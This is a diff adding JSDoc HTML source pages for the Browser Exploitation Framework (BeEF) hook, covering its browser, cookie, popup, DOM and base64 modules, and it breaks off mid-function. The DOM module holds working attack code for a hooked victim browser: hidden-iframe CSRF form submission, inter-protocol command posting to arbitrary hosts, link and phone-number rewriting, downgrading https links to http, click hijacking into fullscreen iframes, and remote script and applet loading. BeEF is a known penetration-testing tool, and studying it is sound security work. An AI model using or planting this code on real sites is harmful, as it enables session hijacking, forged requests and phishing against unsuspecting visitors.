+            oldLink = document.getElementById('dynamic-favicon');
+        link.id = 'dynamic-favicon';
+        link.rel = 'shortcut icon';
+        link.href = favicon_url;
+        if (oldLink) document.head.removeChild(oldLink);
+        document.head.appendChild(link);
+        if (this.isC()) iframe.src += '';
+    },
+
+    /**
+     * Changes page title
+     **/
+    changePageTitle: function (title) {
+        document.title = title;
+    },
+
+    /**
+     * Get the browser language
+     */
+    getBrowserLanguage: function () {
+        var l = 'Unknown';
+        try {
+            l = window.navigator.userLanguage || window.navigator.language;
+        } catch (e) {
+        }
+        return l;
+    },
+
+    /**
+     *  A function that gets the max number of simultaneous connections the
+     *  browser can make per origin, or globally on all origin.
+     *
+     *  This code is based on research from browserspy.dk
+     *
+     * @parameter {ENUM: 'PER_DOMAIN', 'GLOBAL'=>default}
+     * @return {Object} A jQuery deferred object promise, which when resolved passes
+     *    the number of connections to the callback function as "this"
+     */
+
+
+
+    getMaxConnections: function (scope) {
+        /*
+        *    example usage:
+        *        $j.when(getMaxConnections()).done(function(){
+        *            console.debug("Max Connections: " + this);
+        *            }); 
+        */
+        var imagesCount = 30;		// Max number of images to test
+        var secondsTimeout = 5;		// Image load timeout threashold
+        var testUrl = "";		// The image testing service URL
+
+        // User broserspy.dk max connections service URL.
+        if (scope == 'PER_DOMAIN')
+            testUrl = "http://browserspy.dk/connections.php?img=1&amp;random=";
+        else
+            // The token will be replaced by a different number with each request (different origin).
+            testUrl = "http://<token>.browserspy.dk/connections.php?img=1&amp;random=";
+
+        var imagesLoaded = 0;			// Number of responding images before timeout.
+        var imagesRequested = 0;		// Number of requested images.
+        var testImages = new Array();		// Array of all images.
+        var deferredObject = $j.Deferred();	// A jquery Deferred object.
+
+        for (var i = 1; i <= imagesCount; i++) {
+            // Asynchronously request image.
+            testImages[i] =
+                $j.ajax({
+                    type: "get",
+                    dataType: true,
+                    url: (testUrl.replace("<token>", i)) + Math.random(),
+                    data: "",
+                    timeout: (secondsTimeout * 1000),
+
+                    // Function on completion of request.
+                    complete: function (jqXHR, textStatus) {
+
+                        imagesRequested++;
+
+                        // If the image returns a 200 or a 302, the text Status is "error", else null
+                        if (textStatus == "error") {
+                            imagesLoaded++;
+                        }
+
+                        // If all images requested
+                        if (imagesRequested >= imagesCount) {
+                            // resolve the deferred object passing the number of loaded images.
+                            deferredObject.resolveWith(imagesLoaded);
+                        }
+                    }
+                });
+
+        }
+
+        // Return a promise to resolve the deffered object when the images are loaded.
+        return deferredObject.promise();
+
+    }
+
+};
+
+beef.regCmp('beef.browser');
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/browser_cookie.js.html b/docs/browser_cookie.js.html new file mode 100644 index 000000000..b4b92dbce --- /dev/null +++ b/docs/browser_cookie.js.html @@ -0,0 +1,172 @@ + + + + + JSDoc: Source: browser/cookie.js + + + + + + + + + + +
+ +

Source: browser/cookie.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides fuctions for working with cookies. 
+ * Several functions adopted from http://techpatterns.com/downloads/javascript_cookies.php
+ * Original author unknown.
+ * @namespace beef.browser.cookie
+ */
+beef.browser.cookie = {
+	
+		/** @memberof beef.browser.cookie */
+		setCookie: function (name, value, expires, path, domain, secure) 
+		{
+	
+			var today = new Date();
+			today.setTime( today.getTime() );
+	
+			if ( expires )
+			{
+				expires = expires * 1000 * 60 * 60 * 24;
+			}
+			var expires_date = new Date( today.getTime() + (expires) );
+	
+			document.cookie = name + "=" +escape( value ) +
+				( ( expires ) ? ";expires=" + expires_date.toGMTString() : "" ) +
+				( ( path ) ? ";path=" + path : "" ) +
+				( ( domain ) ? ";domain=" + domain : "" ) +
+				( ( secure ) ? ";secure" : "" );
+		},
+		/** @memberof beef.browser.cookie */
+		getCookie: function(name) 
+		{
+			var a_all_cookies = document.cookie.split( ';' );
+			var a_temp_cookie = '';
+			var cookie_name = '';
+			var cookie_value = '';
+			var b_cookie_found = false;
+			
+			for ( i = 0; i < a_all_cookies.length; i++ )
+			{
+				a_temp_cookie = a_all_cookies[i].split( '=' );
+				cookie_name = a_temp_cookie[0].replace(/^\s+|\s+$/g, '');
+				if ( cookie_name == name )
+				{
+					b_cookie_found = true;
+					if ( a_temp_cookie.length > 1 )
+					{
+						cookie_value = unescape( a_temp_cookie[1].replace(/^\s+|\s+$/g, '') );
+					}
+					return cookie_value;
+					break;
+				}
+				a_temp_cookie = null;
+				cookie_name = '';
+			}
+			if ( !b_cookie_found )
+			{
+				return null;
+			}
+		},
+		/** @memberof beef.browser.cookie */
+		deleteCookie: function (name, path, domain) 
+		{
+			if ( this.getCookie(name) ) document.cookie = name + "=" +
+			( ( path ) ? ";path=" + path : "") +
+			( ( domain ) ? ";domain=" + domain : "" ) +
+			";expires=Thu, 01-Jan-1970 00:00:01 GMT";
+		},
+
+	    /** @memberof beef.browser.cookie */
+		veganLol: function (){
+			var to_hell= '';
+			var min = 17;
+			var max = 25;
+			var lol_length = Math.floor(Math.random() * (max - min + 1)) + min;
+
+			var grunt = function(){
+				var moo = Math.floor(Math.random() * 62);
+				var char = '';
+				if(moo < 36){
+					char = String.fromCharCode(moo + 55);
+				}else{
+					char = String.fromCharCode(moo + 61);
+				}
+				if(char != ';' && char != '='){
+					return char;
+				}else{
+					return 'x';
+				}
+			};
+
+			while(to_hell.length < lol_length){
+				to_hell += grunt();
+			}
+			return to_hell;
+		},
+		/** @memberof beef.browser.cookie */
+		hasSessionCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), '', '/', '', '' );
+
+			cookiesEnabled = (this.getCookie(name) == null)? false:true;
+			this.deleteCookie(name, '/', '');
+			return cookiesEnabled;
+			
+		},
+		/** @memberof beef.browser.cookie */
+		hasPersistentCookies: function (name){
+			this.setCookie( name, beef.browser.cookie.veganLol(), 1, '/', '', '' );
+
+			cookiesEnabled = (this.getCookie(name) == null)? false:true;
+			this.deleteCookie(name, '/', '');
+			return cookiesEnabled;
+			
+		}	
+					
+};
+
+beef.regCmp('beef.browser.cookie');
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/browser_jools.html b/docs/browser_jools.html new file mode 100644 index 000000000..550c23236 --- /dev/null +++ b/docs/browser_jools.html @@ -0,0 +1,1165 @@ + + + + + JSDoc: Namespace: browser_jools + + + + + + + + + + +
+ +

Namespace: browser_jools

+ + + + + + +
+ +
+ +

browser_jools

+ + +
+ +
+
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + +
+ + + + + + + + + + + + + + +

Members

+ + + +

(static) exports.version

+ + + + +
+

version

+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + +

(static) require.resolve

+ + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + +

Methods

+ + + + + + + +

(static) Jools(rules)

+ + + + + + +
+

Jools constructor.

+

A rule consists of:

+
    +
  • Descriptive name
  • +
  • One or more conditions
  • +
  • One or more consequences, which are fired when all conditions evaluate to true.
  • +
+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
rules + + +Object + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) module.exports.paramNames(f)

+ + + + + + +
+

Returns an array of parameter names of the function f

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
f + + +function + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) module.exports.paramsToArguments(obj, params)

+ + + + + + +
+

Creates an array of arguments

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
obj + + +Object + + + +
params + + +Array + + + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) normalizeArray(parts, allowAboveRoot)

+ + + + + + +
+

resolves . and .. elements in a path array with directory names there +must be no slashes, empty elements, or device names (c:) in the array +(so also no leading and trailing slashes - it does not distinguish +relative and absolute paths)

+
+ + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
parts + +
allowAboveRoot + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require(file, cwd)

+ + + + + + + + + + + + + + +
Parameters:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
NameTypeDescription
file + +
cwd + +
+ + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require.alias()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +

(static) require.define()

+ + + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Source:
+
+ + + + + + + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+ + + + +
+ + + +
+ + + + + + + \ No newline at end of file diff --git a/docs/browser_popup.js.html b/docs/browser_popup.js.html new file mode 100644 index 000000000..987254a81 --- /dev/null +++ b/docs/browser_popup.js.html @@ -0,0 +1,79 @@ + + + + + JSDoc: Source: browser/popup.js + + + + + + + + + + +
+ +

Source: browser/popup.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides fuctions for working with cookies. 
+ * Several functions adopted from http://davidwalsh.name/popup-block-javascript
+ * Original author unknown.
+ * @namespace beef.browser.popup
+ */
+beef.browser.popup = {
+		/** @memberof beef.browser.popup */
+		blocker_enabled: function ()
+		{
+			screenParams = beef.hardware.getScreenSize();
+			var popUp = window.open('/', 'windowName0', 'width=1, height=1, left='+screenParams.width+', top='+screenParams.height+', scrollbars, resizable');
+			if (popUp == null || typeof(popUp)=='undefined') {   
+			  	return true;
+			} else {   
+				popUp.close();
+				return false;
+			}
+		}
+};
+
+beef.regCmp('beef.browser.popup');
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/dom.js.html b/docs/dom.js.html new file mode 100644 index 000000000..4172451c8 --- /dev/null +++ b/docs/dom.js.html @@ -0,0 +1,554 @@ + + + + + JSDoc: Source: dom.js + + + + + + + + + + +
+ +

Source: dom.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+/**
+ * Provides functionality to manipulate the DOM.
+ * @namespace beef.dom
+ */
+beef.dom = {
+	
+	/**
+	 * Generates a random ID for HTML elements
+	 * @param {String} prefix a custom prefix before the random id. defaults to "beef-"
+	 * @return {String} generated id
+	 */
+	generateID: function(prefix) {
+		return ((prefix == null) ? 'beef-' : prefix)+Math.floor(Math.random()*99999);
+	},	
+		
+	/**
+	 * Creates a new element but does not append it to the DOM.
+	 * @param {String} type the name of the element.
+	 * @param {Array} attributes the attributes of that element.
+	 * @return {Array} the created element.
+	 */
+	createElement: function(type, attributes) {
+		var el = document.createElement(type);
+		
+		for(index in attributes) {
+			if(typeof attributes[index] == 'string') {
+				el.setAttribute(index, attributes[index]);
+			}
+		}
+		
+		return el;
+	},
+	
+	/**
+	 * Removes element from the DOM.
+	 * @param {Object} el the target element to be removed.
+	 */
+	removeElement: function(el) {
+		if (!beef.dom.isDOMElement(el))
+		{
+			el = document.getElementById(el);
+		}
+		try {
+			el.parentNode.removeChild(el);
+		} catch (e) { }
+	},
+	
+	/**
+	 * Tests if the object is a DOM element.
+	 * @param {Object} the DOM element.
+	 * @return {boolean} true if the object is a DOM element.
+	 */
+	isDOMElement: function(obj) {
+		return (obj.nodeType) ? true : false;
+	},
+	
+	/**
+	 * Creates an invisible iframe on the hook browser's page.
+	 * @return {array} the iframe.
+	 */
+	createInvisibleIframe: function() {
+		var iframe = this.createElement('iframe', {
+				width: '1px',
+				height: '1px',
+				style: 'visibility:hidden;'
+			});
+		
+		document.body.appendChild(iframe);
+		
+		return iframe;
+	},
+
+	/**
+	 * Returns the highest current z-index
+	 * @param {Boolean} whether to return an associative array with the height AND the ID of the element
+	 * @return {Integer} Highest z-index in the DOM
+	 * OR
+	 * @return {Hash} A hash with the height and the ID of the highest element in the DOM {'height': INT, 'elem': STRING}
+	 */
+	getHighestZindex: function(include_id) {
+		var highest = {'height':0, 'elem':''};
+		$j('*').each(function() {
+			var current_high = parseInt($j(this).css("zIndex"),10);
+			if (current_high > highest.height) {
+				highest.height = current_high;
+				highest.elem = $j(this).attr('id');
+			}
+		});
+
+		if (include_id) {
+			return highest;
+		} else {
+			return highest.height;
+		}
+	},
+	
+	/**
+     * Create an iFrame element and prepend to document body. URI passed via 'src' property of function's 'params' parameter
+     * is assigned to created iframe tag's src attribute resulting in GET request to that URI.
+     * example usage in the code: beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
+	 * @param {String} type: can be 'hidden' or 'fullScreen'. defaults to normal
+	 * @param {Hash} params: list of params that will be sent in request.
+	 * @param {Hash} styles: css styling attributes, these are merged with the defaults specified in the type parameter
+	 * @param {Function} a callback function to fire once the iFrame has loaded
+	 * @return {Object} the inserted iFrame
+     *
+	 */
+	createIframe: function(type, params, styles, onload) {
+		var css = {};
+
+		if (type == 'hidden') {
+			css = $j.extend(true, {'border':'none', 'width':'1px', 'height':'1px', 'display':'none', 'visibility':'hidden'}, styles);
+		} else if (type == 'fullscreen') {
+			css = $j.extend(true, {'border':'none', 'background-color':'white', 'width':'100%', 'height':'100%', 'position':'absolute', 'top':'0px', 'left':'0px', 'z-index':beef.dom.getHighestZindex()+1}, styles);
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		} else {
+			css = styles;
+			$j('body').css({'padding':'0px', 'margin':'0px'});
+		}
+		var iframe = $j('<iframe />').attr(params).css(css).load(onload).prependTo('body');
+		
+		return iframe;
+	},
+
+    /**
+     * Load the link (href value) in an overlay foreground iFrame.
+     * The BeEF hook continues to run in background.
+     * NOTE: if the target link is returning X-Frame-Options deny/same-origin or uses
+     * Framebusting techniques, this will not work.
+     */
+    persistentIframe: function(){
+        $j('a').click(function(e) {
+            if ($j(this).attr('href') != '')
+            {
+                e.preventDefault();
+                beef.dom.createIframe('fullscreen', {'src':$j(this).attr('href')}, {}, null);
+                $j(document).attr('title', $j(this).html());
+                document.body.scroll = "no";
+                document.documentElement.style.overflow = 'hidden';
+            }
+        });
+    },
+
+    /**
+     * Load a full screen div that is black, or, transparent
+     * @param {Boolean} vis: whether or not you want the screen dimmer enabled or not
+     * @param {Hash} options: a collection of options to customise how the div is configured, as follows:
+     *         opacity:0-100         // Lower number = less grayout higher = more of a blackout
+     *           // By default this is 70 
+     *         zindex: #             // HTML elements with a higher zindex appear on top of the gray out
+     *           // By default this will use beef.dom.getHighestZindex to always go to the top
+     *         bgcolor: (#xxxxxx)    // Standard RGB Hex color code
+     *           // By default this is #000000
+     */
+	grayOut: function(vis, options) {
+	  // in any order.  Pass only the properties you need to set.
+	  var options = options || {};
+	  var zindex = options.zindex || beef.dom.getHighestZindex()+1;
+	  var opacity = options.opacity || 70;
+	  var opaque = (opacity / 100);
+	  var bgcolor = options.bgcolor || '#000000';
+	  var dark=document.getElementById('darkenScreenObject');
+	  if (!dark) {
+	    // The dark layer doesn't exist, it's never been created.  So we'll
+	    // create it here and apply some basic styles.
+	    // If you are getting errors in IE see: http://support.microsoft.com/default.aspx/kb/927917
+	    var tbody = document.getElementsByTagName("body")[0];
+	    var tnode = document.createElement('div');           // Create the layer.
+	        tnode.style.position='absolute';                 // Position absolutely
+	        tnode.style.top='0px';                           // In the top
+	        tnode.style.left='0px';                          // Left corner of the page
+	        tnode.style.overflow='hidden';                   // Try to avoid making scroll bars            
+	        tnode.style.display='none';                      // Start out Hidden
+	        tnode.id='darkenScreenObject';                   // Name it so we can find it later
+	    tbody.appendChild(tnode);                            // Add it to the web page
+	    dark=document.getElementById('darkenScreenObject');  // Get the object.
+	  }
+	  if (vis) {
+	    // Calculate the page width and height 
+	    if( document.body && ( document.body.scrollWidth || document.body.scrollHeight ) ) {
+	        var pageWidth = document.body.scrollWidth+'px';
+	        var pageHeight = document.body.scrollHeight+'px';
+	    } else if( document.body.offsetWidth ) {
+	      var pageWidth = document.body.offsetWidth+'px';
+	      var pageHeight = document.body.offsetHeight+'px';
+	    } else {
+	       var pageWidth='100%';
+	       var pageHeight='100%';
+	    }
+	    //set the shader to cover the entire page and make it visible.
+	    dark.style.opacity=opaque;
+	    dark.style.MozOpacity=opaque;
+	    dark.style.filter='alpha(opacity='+opacity+')';
+	    dark.style.zIndex=zindex;
+	    dark.style.backgroundColor=bgcolor;
+	    dark.style.width= pageWidth;
+	    dark.style.height= pageHeight;
+	    dark.style.display='block';
+	  } else {
+	     dark.style.display='none';
+	  }
+	},
+
+	/**
+	 * Remove all external and internal stylesheets from the current page - sometimes prior to socially engineering,
+	 *  or, re-writing a document this is useful.
+	 */
+	removeStylesheets: function() {
+		$j('link[rel=stylesheet]').remove();
+		$j('style').remove();
+	},
+	
+	/**
+     * Create a form element with the specified parameters, appending it to the DOM if append == true
+	 * @param {Hash} params: params to be applied to the form element
+	 * @param {Boolean} append: automatically append the form to the body
+	 * @return {Object} a form object
+	 */
+	createForm: function(params, append) {
+		var form = $j('<form></form>').attr(params);
+		if (append)
+			$j('body').append(form);
+		return form;
+	},
+	
+	loadScript: function(url) {
+	  var s = document.createElement('script');
+	  s.type = 'text/javascript';
+	  s.src = url;
+	  $j('body').append(s);
+	},
+
+	/**
+	 * Get the location of the current page.
+	 * @return the location.
+	 */
+	getLocation: function() {
+		return document.location.href;
+	},
+	
+	/**
+	 * Get links of the current page.
+	 * @return array of URLs.
+	 */
+	getLinks: function() {
+		var linksarray = [];
+		var links = document.links;
+		for(var i = 0; i<links.length; i++) {
+			linksarray = linksarray.concat(links[i].href)		
+		};
+		return linksarray
+	},
+	
+	/**
+	 * Rewrites all links matched by selector to url, also rebinds the click method to simply return true
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinks: function(url, selector) {
+		var sel = (selector == null) ? 'a' : selector;
+		return $j(sel).each(function() {
+			if ($j(this).attr('href') != null)
+			{
+				$j(this).attr('href', url).click(function() { return true; });
+			}
+		}).length;
+	},
+
+	/**
+	 * Rewrites all links matched by selector to url, leveraging Bilawal Hameed's hidden click event overwriting.
+	 * http://bilaw.al/2013/03/17/hacking-the-a-tag-in-100-characters.html
+	 * @param {String} url: the url to be rewritten
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinksClickEvents: function(url, selector) {
+		var sel = (selector == null) ? 'a' : selector;
+		return $j(sel).each(function() {
+			if ($j(this).attr('href') != null)
+			{
+				$j(this).click(function() {this.href=url});
+			}
+		}).length;
+	},
+
+	/**
+     * Parse all links in the page matched by the selector, replacing old_protocol with new_protocol (ex.:https with http)
+	 * @param {String} old_protocol: the old link protocol to be rewritten
+	 * @param {String} new_protocol: the new link protocol to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteLinksProtocol: function(old_protocol, new_protocol, selector) {
+
+		var count = 0;
+		var re = new RegExp(old_protocol+"://", "gi");
+		var sel = (selector == null) ? 'a' : selector;
+
+		$j(sel).each(function() {
+			if ($j(this).attr('href') != null) {
+				var url = $j(this).attr('href');
+				if (url.match(re)) {
+					$j(this).attr('href', url.replace(re, new_protocol+"://")).click(function() { return true; });
+					count++;
+				}
+			}
+		});
+
+		return count;
+	},
+
+	/**
+	 * Parse all links in the page matched by the selector, replacing all telephone urls ('tel' protocol handler) with a new telephone number
+	 * @param {String} new_number: the new link telephone number to be written
+	 * @param {String} selector: the jquery selector statement to use, defaults to all a tags.
+	 * @return {Number} the amount of links found in the DOM and rewritten.
+	 */
+	rewriteTelLinks: function(new_number, selector) {
+
+		var count = 0;
+		var re = new RegExp("tel:/?/?.*", "gi");
+		var sel = (selector == null) ? 'a' : selector;
+
+		$j(sel).each(function() {
+			if ($j(this).attr('href') != null) {
+				var url = $j(this).attr('href');
+				if (url.match(re)) {
+					$j(this).attr('href', url.replace(re, "tel:"+new_number)).click(function() { return true; });
+					count++;
+				}
+			}
+		});
+
+		return count;
+	},
+
+    /**
+     * Given an array of objects (key/value), return a string of param tags ready to append in applet/object/embed
+     * @param {Array} an array of params for the applet, ex.: [{'argc':'5', 'arg0':'ReverseTCP'}]
+     * @return {String} the parameters as a string ready to append to applet/embed/object tags (ex.: <param name='abc' value='test' />).
+     */
+    parseAppletParams: function(params){
+         var result = '';
+         for (i in params){
+           var param = params[i];
+           for(key in param){
+              result += "<param name='" + key + "' value='" + param[key] + "' />";
+           }
+         }
+        return result;
+    },
+
+    /**
+     * Attach an applet to the DOM, using the best approach for differet browsers (object/applet/embed).
+     * example usage in the code, using a JAR archive (recommended and faster):
+     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D.class', null, 'http://127.0.0.1:3000/ui/media/images/target.jar', [{'param1':'1', 'param2':'2'}]);
+     * example usage in the code, using codebase:
+     * beef.dom.attachApplet('appletId', 'appletName', 'SuperMario3D', 'http://127.0.0.1:3000/', null, null);
+     * @param {String} id: reference identifier to the applet.
+     * @param {String} code: name of the class to be loaded. For example, beef.class.
+     * @param {String} codebase: the URL of the codebase (usually used when loading a single class for an unsigned applet).
+     * @param {String} archive: the jar that contains the code.
+     * @param {String} params: an array of additional params that the applet except.
+     */
+    attachApplet: function(id, name, code, codebase, archive, params) {
+        var content = null;
+        if (beef.browser.isIE()) {
+            content = "" + // the classid means 'use the latest JRE available to launch the applet'
+                "<object id='" + id + "'classid='clsid:8AD9C840-044E-11D1-B3E9-00805F499D93' " +
+                "height='0' width='0' name='" + name + "'> " +
+                "<param name='code' value='" + code + "' />";
+
+            if (codebase != null) {
+                content += "<param name='codebase' value='" + codebase + "' />"
+            }
+            if (archive != null){
+                content += "<param name='archive' value='" + archive + "' />";
+            }
+            if (params != null) {
+                content += beef.dom.parseAppletParams(params);
+            }
+            content += "</object>";
+        }
+        if (beef.browser.isC() || beef.browser.isS() || beef.browser.isO() || beef.browser.isFF()) {
+
+            if (codebase != null) {
+                content = "" +
+                    "<applet id='" + id + "' code='" + code + "' " +
+                    "codebase='" + codebase + "' " +
+                    "height='0' width='0' name='" + name + "'>";
+            } else {
+                content = "" +
+                    "<applet id='" + id + "' code='" + code + "' " +
+                    "archive='" + archive + "' " +
+                    "height='0' width='0' name='" + name + "'>";
+            }
+
+            if (params != null) {
+                content += beef.dom.parseAppletParams(params);
+            }
+            content += "</applet>";
+        }
+        // For some reasons JavaPaylod is not working if the applet is attached to the DOM with the embed tag rather than the applet tag.
+//        if (beef.browser.isFF()) {
+//            if (codebase != null) {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' codebase='" + codebase + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            } else {
+//                content = "" +
+//                    "<embed id='" + id + "' code='" + code + "' " +
+//                    "type='application/x-java-applet' archive='" + archive + "' " +
+//                    "height='0' width='0' name='" + name + "'>";
+//            }
+//
+//            if (params != null) {
+//                content += beef.dom.parseAppletParams(params);
+//            }
+//            content += "</embed>";
+//        }
+        $j('body').append(content);
+    },
+
+    /**
+     * Given an id, remove the applet from the DOM.
+     * @param {String} id: reference identifier to the applet.
+     */
+    detachApplet: function(id) {
+        $j('#' + id + '').detach();
+    },
+
+    /**
+     * Create an invisible iFrame with a form inside, and submit it. Useful for XSRF attacks delivered via POST requests.
+     * @param {String} action: the form action attribute, where the request will be sent.
+     * @param {String} method: HTTP method, usually POST.
+     * @param {String} enctype: form encoding type
+     * @param {Array} inputs: an array of inputs to be added to the form (type, name, value).
+     *         example: [{'type':'hidden', 'name':'1', 'value':''} , {'type':'hidden', 'name':'2', 'value':'3'}]
+     */
+    createIframeXsrfForm: function(action, method, enctype, inputs){
+        var iframeXsrf = beef.dom.createInvisibleIframe();
+
+        var formXsrf = document.createElement('form');
+        formXsrf.setAttribute('action',  action);
+        formXsrf.setAttribute('method',  method);
+        formXsrf.setAttribute('enctype', enctype);
+
+        var input = null;
+        for (i in inputs){
+            var attributes = inputs[i];
+            input = document.createElement('input');
+                for(key in attributes){
+                    if (key == 'name' && attributes[key] == 'submit') {
+                      // workaround for https://github.com/beefproject/beef/issues/1117
+                      beef.debug("createIframeXsrfForm - warning: changed form input 'submit' to 'Submit'");
+                      input.setAttribute('Submit', attributes[key]);
+                    } else {
+                      input.setAttribute(key, attributes[key]);
+                    }
+                }
+            formXsrf.appendChild(input);
+        }
+        iframeXsrf.contentWindow.document.body.appendChild(formXsrf);
+        formXsrf.submit();
+
+        return iframeXsrf;
+    },
+
+    /**
+     * Create an invisible iFrame with a form inside, and POST the form in plain-text. Used for inter-protocol exploitation.
+     * @param {String} rhost: remote host ip/domain
+     * @param {String} rport: remote port
+     * @param {String} commands: protocol commands to be executed by the remote host:port service
+     */
+    createIframeIpecForm: function(rhost, rport, path, commands){
+        var iframeIpec = beef.dom.createInvisibleIframe();
+
+        var formIpec = document.createElement('form');
+        formIpec.setAttribute('action',  'http://'+rhost+':'+rport+path);
+        formIpec.setAttribute('method',  'POST');
+        formIpec.setAttribute('enctype', 'multipart/form-data');
+
+        input = document.createElement('textarea');
+        input.setAttribute('name', Math.random().toString(36).substring(5));
+        input.value = commands;
+        formIpec.appendChild(input);
+        iframeIpec.contentWindow.document.body.appendChild(formIpec);
+        formIpec.submit();
+
+        return iframeIpec;
+    }
+
+};
+
+beef.regCmp('beef.dom');
+
+
+
+ + + + +
+ + + +
+ + + + + + + diff --git a/docs/encode_base64.js.html b/docs/encode_base64.js.html new file mode 100644 index 000000000..127c4f553 --- /dev/null +++ b/docs/encode_base64.js.html @@ -0,0 +1,223 @@ + + + + + JSDoc: Source: encode/base64.js + + + + + + + + + + +
+ +

Source: encode/base64.js

+ + + + + + +
+
+
//
+// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
+
+beef.encode = {};
+
+/** 
+ * Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-javascript/3774662#3774662
+ * @namespace beef.encode.base64 
+ */
+beef.encode.base64 = {
+	
+	keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
+    encode : function (input) {
+        if (window.btoa) {
+           return btoa(unescape(encodeURIComponent(input)));
+        }
+
+        var output = "";
+        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
+        var i = 0;
+
+        input = beef.encode.base64.utf8_encode(input);
+
+        while (i < input.length) {
+
+            chr1 = input.charCodeAt(i++);
+            chr2 = input.charCodeAt(i++);
+            chr3 = input.charCodeAt(i++);
+
+            enc1 = chr1 >> 2;
+            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
+            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
+            enc4 = chr3 & 63;
+
+            if (isNaN(chr2)) {
+                enc3 = enc4 = 64;
+            } else if (isNaN(chr3)) {
+                enc4 = 64;
+            }
+
+            output = output +
+            this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
+            this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
+
+        }
+
+        return output;
+    },
+
+    /** 
+     * @memberof beef.encode.base64 
+     * @param {string} input
+     * @return {string}
+     */
+    decode : function (input) {
+        if (window.atob) {
+            return escape(atob(input));
+        }
+
+        var output = "";
+        var chr1, chr2, chr3;
+        var enc1, enc2, enc3, enc4;
+        var i = 0;
+
+        input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
+
+        while (i < input.length) {
+
+            enc1 = this.keyStr.indexOf(input.charAt(i++));
+            enc2 = this.keyStr.indexOf(input.charAt(i++));
+            enc3 = this.keyStr.indexOf(input.charAt(i++));
+            enc4 = this.keyStr.indexOf(input.charAt(i++));
+
+            chr1 = (enc1 << 2) | (enc2 >> 4);
+            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
+            chr3 = ((enc3 & 3) << 6) | enc4;
+
+            output = output + String.fromCharCode(chr1);
+
